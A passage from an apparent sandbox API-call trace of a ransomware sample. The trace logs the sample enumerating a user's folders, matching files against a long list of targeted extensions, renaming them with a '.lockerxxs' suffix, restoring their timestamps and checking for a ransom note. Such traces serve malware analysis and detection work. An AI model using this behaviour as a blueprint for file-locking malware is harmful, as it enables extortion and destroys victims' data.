halpmcxz\\desktop\\w-pmnb4rl3xc.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\W-pMNb4rl3xC.png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\w-pmnb4rl3xc.png.lockerxxs")) returned 1 [0089.130] lstrcmpA (lpString1=".", lpString2="Documents") returned -1 [0089.130] lstrcmpA (lpString1="..", lpString2="Documents") returned -1 [0089.130] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xda6135e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xda6135e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0089.130] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0089.130] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0089.130] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0089.133] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0089.133] CloseHandle (hObject=0x88) returned 1 [0089.135] SetFileTime (hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0089.136] CloseHandle (hObject=0x88) returned 1 [0089.136] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\52cHM4nU CezljWyg.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\52chm4nu cezljwyg.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\52cHM4nU CezljWyg.pptx.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\52chm4nu cezljwyg.pptx.lockerxxs")) returned 1 [0089.140] SetFileTime (hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0089.140] CloseHandle (hObject=0x88) returned 1 [0089.141] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\67h3KYUj7HpJKh2YdAq.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\67h3kyuj7hpjkh2ydaq.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\67h3KYUj7HpJKh2YdAq.docx.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\67h3kyuj7hpjkh2ydaq.docx.lockerxxs")) returned 1 [0089.145] SetFileTime (hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0089.146] CloseHandle (hObject=0x88) returned 1 [0089.146] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\AciXUX 2IkzaZBEwM.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\acixux 2ikzazbewm.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\AciXUX 2IkzaZBEwM.pptx.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\acixux 2ikzazbewm.pptx.lockerxxs")) returned 1 [0089.155] SetFileTime (hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0089.155] CloseHandle (hObject=0x88) returned 1 [0089.155] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\cwvoFZH.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cwvofzh.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\cwvoFZH.pptx.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cwvofzh.pptx.lockerxxs")) returned 1 [0089.159] SetFileTime (hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0089.159] CloseHandle (hObject=0x88) returned 1 [0089.159] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dVU2z0U1YLuvRtc.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\dvu2z0u1yluvrtc.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dVU2z0U1YLuvRtc.xlsx.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\dvu2z0u1yluvrtc.xlsx.lockerxxs")) returned 1 [0089.162] SetFileTime (hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0089.163] CloseHandle (hObject=0x88) returned 1 [0089.163] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\DWVHPb7S.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\dwvhpb7s.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\DWVHPb7S.docx.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\dwvhpb7s.docx.lockerxxs")) returned 1 [0089.166] SetFileTime (hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0089.166] CloseHandle (hObject=0x88) returned 1 [0089.166] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\EcAiGGstX1C6un.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ecaiggstx1c6un.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\EcAiGGstX1C6un.xlsx.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ecaiggstx1c6un.xlsx.lockerxxs")) returned 1 [0089.168] lstrcmpA (lpString1=".", lpString2="GqRacOScnNJo") returned -1 [0089.168] lstrcmpA (lpString1="..", lpString2="GqRacOScnNJo") returned -1 [0089.168] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd84e6c0, ftCreationTime.dwHighDateTime=0x1d5e212, ftLastAccessTime.dwLowDateTime=0x3a159720, ftLastAccessTime.dwHighDateTime=0x1d5e267, ftLastWriteTime.dwLowDateTime=0x3a159720, ftLastWriteTime.dwHighDateTime=0x1d5e267, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x72004e, dwReserved1=0x4a0047, cFileName=".", cAlternateFileName="")) returned 0x502518 [0089.168] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0089.168] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0089.168] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0089.168] lstrcmpA (lpString1=".", lpString2="-g2uVuzB-1COfjppk") returned -1 [0089.168] lstrcmpA (lpString1="..", lpString2="-g2uVuzB-1COfjppk") returned -1 [0089.168] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\-g2uVuzB-1COfjppk\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x990c1f30, ftCreationTime.dwHighDateTime=0x1d5d905, ftLastAccessTime.dwLowDateTime=0xa09f6d60, ftLastAccessTime.dwHighDateTime=0x1d5d9d2, ftLastWriteTime.dwLowDateTime=0xa09f6d60, ftLastWriteTime.dwHighDateTime=0x1d5d9d2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8c001b, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0089.169] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0089.169] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0089.169] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0089.173] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0089.174] CloseHandle (hObject=0x90) returned 1 [0089.174] lstrcmpA (lpString1=".", lpString2="KtFuZ9q") returned -1 [0089.174] lstrcmpA (lpString1="..", lpString2="KtFuZ9q") returned -1 [0089.174] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\-g2uVuzB-1COfjppk\\KtFuZ9q\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaea6c610, ftCreationTime.dwHighDateTime=0x1d5e6fc, ftLastAccessTime.dwLowDateTime=0x84ee6080, ftLastAccessTime.dwHighDateTime=0x1d5d955, ftLastWriteTime.dwLowDateTime=0x84ee6080, ftLastWriteTime.dwHighDateTime=0x1d5d955, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x52d5fe, cFileName=".", cAlternateFileName="")) returned 0x502658 [0089.174] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0089.174] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0089.174] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0089.176] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0089.176] CloseHandle (hObject=0x94) returned 1 [0089.178] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0089.178] CloseHandle (hObject=0x94) returned 1 [0089.178] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\-g2uVuzB-1COfjppk\\KtFuZ9q\\yoQ 3YYNx8An6Wm.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gqracoscnnjo\\-g2uvuzb-1cofjppk\\ktfuz9q\\yoq 3yynx8an6wm.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\-g2uVuzB-1COfjppk\\KtFuZ9q\\yoQ 3YYNx8An6Wm.pdf.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gqracoscnnjo\\-g2uvuzb-1cofjppk\\ktfuz9q\\yoq 3yynx8an6wm.pdf.lockerxxs")) returned 1 [0089.182] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0089.182] CloseHandle (hObject=0x8c) returned 1 [0089.184] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0089.184] CloseHandle (hObject=0x8c) returned 1 [0089.184] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\2_7W-wNc5WzGQ-5oO8U.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gqracoscnnjo\\2_7w-wnc5wzgq-5oo8u.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\2_7W-wNc5WzGQ-5oO8U.pdf.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gqracoscnnjo\\2_7w-wnc5wzgq-5oo8u.pdf.lockerxxs")) returned 1 [0089.186] lstrcmpA (lpString1=".", lpString2="OUnSf4cYXz2I") returned -1 [0089.186] lstrcmpA (lpString1="..", lpString2="OUnSf4cYXz2I") returned -1 [0089.186] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\OUnSf4cYXz2I\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae736150, ftCreationTime.dwHighDateTime=0x1d5d917, ftLastAccessTime.dwLowDateTime=0x90628250, ftLastAccessTime.dwHighDateTime=0x1d5d925, ftLastWriteTime.dwLowDateTime=0x90628250, ftLastWriteTime.dwHighDateTime=0x1d5d925, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x72004e, dwReserved1=0x4a0047, cFileName=".", cAlternateFileName="")) returned 0x502618 [0089.186] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0089.186] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0089.186] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0089.189] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0089.189] CloseHandle (hObject=0x90) returned 1 [0089.193] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0089.193] CloseHandle (hObject=0x90) returned 1 [0089.193] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\OUnSf4cYXz2I\\iC7AG7NgK7TlzaCr6yO.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gqracoscnnjo\\ounsf4cyxz2i\\ic7ag7ngk7tlzacr6yo.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\OUnSf4cYXz2I\\iC7AG7NgK7TlzaCr6yO.pdf.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gqracoscnnjo\\ounsf4cyxz2i\\ic7ag7ngk7tlzacr6yo.pdf.lockerxxs")) returned 1 [0089.197] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0089.198] CloseHandle (hObject=0x90) returned 1 [0089.198] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\OUnSf4cYXz2I\\vd_zTv2FON.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gqracoscnnjo\\ounsf4cyxz2i\\vd_ztv2fon.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\OUnSf4cYXz2I\\vd_zTv2FON.pptx.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gqracoscnnjo\\ounsf4cyxz2i\\vd_ztv2fon.pptx.lockerxxs")) returned 1 [0089.199] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\" [0089.199] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\") returned="" [0089.199] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\HOW TO DECRYPT FILES.txt" [0089.199] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gqracoscnnjo\\how to decrypt files.txt")) returned 0x20 [0089.200] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\", lpString2="YgI8i5AJKU-OI.xlsx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx" [0089.200] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx", pszSpec="*.ems") returned 0 [0089.200] lstrlenA (lpString="*.ems") returned 5 [0089.200] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx", pszSpec="*.db") returned 0 [0089.200] lstrlenA (lpString="*.db") returned 4 [0089.200] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx", pszSpec="*.dbf") returned 0 [0089.200] lstrlenA (lpString="*.dbf") returned 5 [0089.200] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx", pszSpec="*.myox") returned 0 [0089.200] lstrlenA (lpString="*.myox") returned 6 [0089.200] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx", pszSpec="*.myo") returned 0 [0089.200] lstrlenA (lpString="*.myo") returned 5 [0089.200] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx", pszSpec="*.qbw") returned 0 [0089.200] lstrlenA (lpString="*.qbw") returned 5 [0089.200] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx", pszSpec="*.qbb") returned 0 [0089.200] lstrlenA (lpString="*.qbb") returned 5 [0089.200] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx", pszSpec="*.qbm") returned 0 [0089.200] lstrlenA (lpString="*.qbm") returned 5 [0089.200] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx", pszSpec="*.qbo") returned 0 [0089.201] lstrlenA (lpString="*.qbo") returned 5 [0089.201] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx", pszSpec="*.qbx") returned 0 [0089.201] lstrlenA (lpString="*.qbx") returned 5 [0089.201] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx", pszSpec="*.qba") returned 0 [0089.201] lstrlenA (lpString="*.qba") returned 5 [0089.201] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx", pszSpec="*.qby") returned 0 [0089.201] lstrlenA (lpString="*.qby") returned 5 [0089.201] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx", pszSpec="*.qbj") returned 0 [0089.201] lstrlenA (lpString="*.qbj") returned 5 [0089.201] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx", pszSpec="*.ofx") returned 0 [0089.201] lstrlenA (lpString="*.ofx") returned 5 [0089.201] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx", pszSpec="*.qif") returned 0 [0089.201] lstrlenA (lpString="*.qif") returned 5 [0089.201] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx", pszSpec="*.mye") returned 0 [0089.201] lstrlenA (lpString="*.mye") returned 5 [0089.201] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx", pszSpec="*.mbox") returned 0 [0089.201] lstrlenA (lpString="*.mbox") returned 6 [0089.201] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx", pszSpec="*.eml") returned 0 [0089.201] lstrlenA (lpString="*.eml") returned 5 [0089.202] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx", pszSpec="*.pst") returned 0 [0089.202] lstrlenA (lpString="*.pst") returned 5 [0089.202] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx", pszSpec="*.ost") returned 0 [0089.202] lstrlenA (lpString="*.ost") returned 5 [0089.202] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx", pszSpec="*.idx") returned 0 [0089.202] lstrlenA (lpString="*.idx") returned 5 [0089.202] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx", pszSpec="*.dbx") returned 0 [0089.202] lstrlenA (lpString="*.dbx") returned 5 [0089.202] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx", pszSpec="*.sql") returned 0 [0089.202] lstrlenA (lpString="*.sql") returned 5 [0089.202] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx", pszSpec="*.mdb") returned 0 [0089.202] lstrlenA (lpString="*.mdb") returned 5 [0089.202] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx", pszSpec="*.fdb") returned 0 [0089.202] lstrlenA (lpString="*.fdb") returned 5 [0089.202] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx", pszSpec="*.wab") returned 0 [0089.202] lstrlenA (lpString="*.wab") returned 5 [0089.202] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx", pszSpec="*.dat") returned 0 [0089.202] lstrlenA (lpString="*.dat") returned 5 [0089.202] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx", pszSpec="*.txt") returned 0 [0089.202] lstrlenA (lpString="*.txt") returned 5 [0089.203] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx", pszSpec="*.jpeg") returned 0 [0089.203] lstrlenA (lpString="*.jpeg") returned 6 [0089.203] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx", pszSpec="*.jpg") returned 0 [0089.203] lstrlenA (lpString="*.jpg") returned 5 [0089.203] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx", pszSpec="*.png") returned 0 [0089.203] lstrlenA (lpString="*.png") returned 5 [0089.203] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx", pszSpec="*.php") returned 0 [0089.203] lstrlenA (lpString="*.php") returned 5 [0089.203] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx", pszSpec="*.cs") returned 0 [0089.203] lstrlenA (lpString="*.cs") returned 4 [0089.203] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx", pszSpec="*.cpp") returned 0 [0089.203] lstrlenA (lpString="*.cpp") returned 5 [0089.203] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx", pszSpec="*.rar") returned 0 [0089.203] lstrlenA (lpString="*.rar") returned 5 [0089.203] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx", pszSpec="*.zip") returned 0 [0089.203] lstrlenA (lpString="*.zip") returned 5 [0089.203] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx", pszSpec="*.html") returned 0 [0089.203] lstrlenA (lpString="*.html") returned 6 [0089.204] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx", pszSpec="*.htm") returned 0 [0089.204] lstrlenA (lpString="*.htm") returned 5 [0089.204] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx", pszSpec="*.xlsx") returned 1 [0089.204] lstrlenA (lpString="*.xlsx") returned 6 [0089.204] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx" [0089.204] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx" [0089.204] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx." [0089.204] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx.lockerxxs" [0089.204] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gqracoscnnjo\\ygi8i5ajku-oi.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0089.205] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x238c [0089.205] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: 